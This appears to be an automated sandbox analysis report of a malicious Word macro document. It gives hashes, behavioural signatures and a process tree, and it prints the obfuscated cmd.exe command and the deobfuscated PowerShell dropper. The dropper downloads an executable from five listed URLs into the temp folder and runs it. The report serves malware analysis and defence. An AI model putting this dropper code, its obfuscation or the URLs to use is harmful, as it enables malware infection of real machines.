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Analysis

  • max time kernel
    127s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05/05/2024, 10:28

General

  • Target

    17416f7997c337602bdd1a62be41b54c_JaffaCakes118.doc

  • Size

    114KB

  • MD5

    17416f7997c337602bdd1a62be41b54c

  • SHA1

    f40cc56fab62e619fcecbda14e7bf6e40cdf104f

  • SHA256

    3eee95e3aa76b5a69f0af4b8f2be5ca3dc1ad9a5a3801cb52ab6c1c3af2b4bdb

  • SHA512

    27c946eabac63893bf930c99c74e7d27cbb8e6f3e60d527d66d4b5d08f00a41fedb7e28630740bfa6933bafb87d044fd46a8fe6abc0e28af91d3f9ff457541ce

  • SSDEEP

    1536:EY9GPST/p0wPIHkwZ8HZOVMDDwUmqD2CufCFr6aEqQmCVnD32+1SWvySdtxN:ZF9RAE+KZycnFImCdvaktxN

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.deepwebeye.com/bIOkIze

exe.dropper

http://www.ensleyortho.com/ES14ezQtPA

exe.dropper

http://www.finetsolutions.com/6X5wMUi

exe.dropper

http://www.gicals.com/QveilV42wN

exe.dropper

http://www.getmyprospects.com/mQOFmMA

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\17416f7997c337602bdd1a62be41b54c_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1300
    • C:\Windows\System32\cmd.exe
      C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set mQB=;'pibic'=pjjonh$}}{hctac}};kaerb;'shvaw'=tclplmw$;hjqcji$ metI-ekovnI{ )00004 eg- htgnel.)hjqcji$ metI-teG(( fI;'zopiwwz'=diiszp$;)hjqcji$ ,knnkhi$(eliFdaolnwoD.jpjac${yrt{)khuador$ ni knnkhi$(hcaerof;'exe.'+mzhiz$+'\'+pmet:vne$=hjqcji$;'wizpjlv'=zfcizw$;'474' = mzhiz$;'cwzra'=hkalubr$;)'@'(tilpS.'AMmFOQm/moc.stcepsorpymteg.www//:ptth@Nw24VlievQ/moc.slacig.www//:ptth@iUMw5X6/moc.snoitulostenif.www//:ptth@APtQze41SE/moc.ohtroyelsne.www//:ptth@ezIkOIb/moc.eyebewpeed.www//:ptth'=khuador$;tneilCbeW.teN tcejbo-wen=jpjac$;'kuhrjr'=nwiljn$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&&for /L %W in (589,-1,0)do set NAn0=!NAn0!!mQB:~%W,1!&&if %W lss 1 echo !NAn0:~-590!| FOR /F "tokens=2 delims=flO=" %Y IN ('assoc.cmd')DO %Y "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4580
      • C:\Windows\system32\cmd.exe
        CmD /V/C"set mQB=;'pibic'=pjjonh$}}{hctac}};kaerb;'shvaw'=tclplmw$;hjqcji$ metI-ekovnI{ )00004 eg- htgnel.)hjqcji$ metI-teG(( fI;'zopiwwz'=diiszp$;)hjqcji$ ,knnkhi$(eliFdaolnwoD.jpjac${yrt{)khuador$ ni knnkhi$(hcaerof;'exe.'+mzhiz$+'\'+pmet:vne$=hjqcji$;'wizpjlv'=zfcizw$;'474' = mzhiz$;'cwzra'=hkalubr$;)'@'(tilpS.'AMmFOQm/moc.stcepsorpymteg.www//:ptth@Nw24VlievQ/moc.slacig.www//:ptth@iUMw5X6/moc.snoitulostenif.www//:ptth@APtQze41SE/moc.ohtroyelsne.www//:ptth@ezIkOIb/moc.eyebewpeed.www//:ptth'=khuador$;tneilCbeW.teN tcejbo-wen=jpjac$;'kuhrjr'=nwiljn$ ll%1,3-~:PMET%h%1,4-~:EMANNOISSES%r%1,5~:CILBUP%wop&&for /L %W in (589,-1,0)do set NAn0=!NAn0!!mQB:~%W,1!&&if %W lss 1 echo !NAn0:~-590!| FOR /F "tokens=2 delims=flO=" %Y IN ('assoc.cmd')DO %Y "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4124
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $njliwn='rjrhuk';$cajpj=new-object Net.WebClient;$rodauhk='http://www.deepwebeye.com/bIOkIze@http://www.ensleyortho.com/ES14ezQtPA@http://www.finetsolutions.com/6X5wMUi@http://www.gicals.com/QveilV42wN@http://www.getmyprospects.com/mQOFmMA'.Split('@');$rbulakh='arzwc';$zihzm = '474';$wzicfz='vljpziw';$ijcqjh=$env:temp+'\'+$zihzm+'.exe';foreach($ihknnk in $rodauhk){try{$cajpj.DownloadFile($ihknnk, $ijcqjh);$pzsiid='zwwipoz';If ((Get-Item $ijcqjh).length -ge 40000) {Invoke-Item $ijcqjh;$wmlplct='wavhs';break;}}catch{}}$hnojjp='cibip';"
          4⤵
            PID:4640
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" FOR /F "tokens=2 delims=flO=" %Y IN ('assoc.cmd') DO %Y "
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:3480
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c assoc.cmd
              5⤵
                PID:1812
              • C:\Windows\system32\cmd.exe
                cmd
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:2792
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell $njliwn='rjrhuk';$cajpj=new-object Net.WebClient;$rodauhk='http://www.deepwebeye.com/bIOkIze@http://www.ensleyortho.com/ES14ezQtPA@http://www.finetsolutions.com/6X5wMUi@http://www.gicals.com/QveilV42wN@http://www.getmyprospects.com/mQOFmMA'.Split('@');$rbulakh='arzwc';$zihzm = '474';$wzicfz='vljpziw';$ijcqjh=$env:temp+'\'+$zihzm+'.exe';foreach($ihknnk in $rodauhk){try{$cajpj.DownloadFile($ihknnk, $ijcqjh);$pzsiid='zwwipoz';If ((Get-Item $ijcqjh).length -ge 40000) {Invoke-Item $ijcqjh;$wmlplct='wavhs';break;}}catch{}}$hnojjp='cibip';
                  6⤵
                  • Blocklisted process makes network request
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2744

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\TCD836A.tmp\sist02.xsl

        Filesize

        245KB

        MD5

        f883b260a8d67082ea895c14bf56dd56

        SHA1

        7954565c1f243d46ad3b1e2f1baf3281451fc14b

        SHA256

        ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

        SHA512

        d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rfldhftp.4yb.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1300-34-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-18-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-5-0x00007FF91E010000-0x00007FF91E020000-memory.dmp

        Filesize

        64KB

      • memory/1300-3-0x00007FF95E02D000-0x00007FF95E02E000-memory.dmp

        Filesize

        4KB

      • memory/1300-7-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-8-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-9-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-6-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-10-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-11-0x00007FF91BFB0000-0x00007FF91BFC0000-memory.dmp

        Filesize

        64KB

      • memory/1300-12-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-14-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-13-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-15-0x00007FF91BFB0000-0x00007FF91BFC0000-memory.dmp

        Filesize

        64KB

      • memory/1300-16-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-577-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-17-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-20-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-19-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-28-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-29-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-35-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-4-0x00007FF91E010000-0x00007FF91E020000-memory.dmp

        Filesize

        64KB

      • memory/1300-0-0x00007FF91E010000-0x00007FF91E020000-memory.dmp

        Filesize

        64KB

      • memory/1300-485-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-113-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-111-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-132-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-136-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-135-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-2-0x00007FF91E010000-0x00007FF91E020000-memory.dmp

        Filesize

        64KB

      • memory/1300-134-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-133-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-131-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-353-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-456-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-457-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-455-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-1-0x00007FF91E010000-0x00007FF91E020000-memory.dmp

        Filesize

        64KB

      • memory/1300-549-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-550-0x00007FF95DF90000-0x00007FF95E185000-memory.dmp

        Filesize

        2.0MB

      • memory/1300-576-0x00007FF91E010000-0x00007FF91E020000-memory.dmp

        Filesize

        64KB

      • memory/1300-575-0x00007FF91E010000-0x00007FF91E020000-memory.dmp

        Filesize

        64KB

      • memory/1300-574-0x00007FF91E010000-0x00007FF91E020000-memory.dmp

        Filesize

        64KB

      • memory/1300-573-0x00007FF91E010000-0x00007FF91E020000-memory.dmp

        Filesize

        64KB

      • memory/2744-45-0x0000017D31E80000-0x0000017D31EA2000-memory.dmp

        Filesize

        136KB